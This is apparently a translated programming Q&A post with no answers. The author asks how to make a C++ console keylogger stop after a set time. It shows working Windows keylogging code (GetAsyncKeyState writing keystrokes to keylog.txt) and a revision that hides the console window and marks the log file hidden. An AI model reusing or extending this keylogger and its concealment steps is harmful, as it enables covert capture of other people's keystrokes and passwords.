如何创建一个控制台应用程序,在20秒后自动退出无限循环

时间:2017-12-29 09:55:54

标签: c++ api console keylogger

我刚刚创建了一个基于控制台的键盘记录程序。由于我的键盘记录器应用程序是无限循环(永不关闭),我想知道我是否可以让键盘记录器在20秒后自动终止。

while (true)
{
    for (key = 8; key <= 190; key++) // ascii code
    {
        if (GetAsyncKeyState(key) == -32767)
            if (KeyIsListed(key) == FALSE)
                {
                    ofstream logfile;
                    logfile.open("keylog.txt", fstream::app);
                    logfile << key;
                    logfile.close();
                }
    }
}

根据您的建议,这是我到目前为止所做的改动

FreeConsole(); 

char key;

//time_t future = time(NULL) + 3; // exit after 3 seconds
clock_t start = clock();

while (true)
{
    if (((clock() - start) / CLOCKS_PER_SEC) >= 3) // if (time(NULL) > future)
    {
        DWORD attributes = GetFileAttributes("keylog.txt");
        SetFileAttributes("keylog.txt", attributes + FILE_ATTRIBUTE_HIDDEN);
        // remove("keylog.txt");
        break;
    }
    for (key = 8; key <= 190; key++) // ascii code
    {
        if (GetAsyncKeyState(key) == -32767)
            if (KeyIsListed(key) == FALSE)
                {
                    ofstream logfile;
                    logfile.open("keylog.txt", fstream::app);
                    logfile << key;
                    logfile.close();
                }
    }
}
exit(0);

我在3秒后检查了任务管理器,并且键盘记录器仍然在后台运行。

另外,如何在终止程序时删除keylog.txt或设置隐藏的keylog.txt?

0 个答案:

没有答案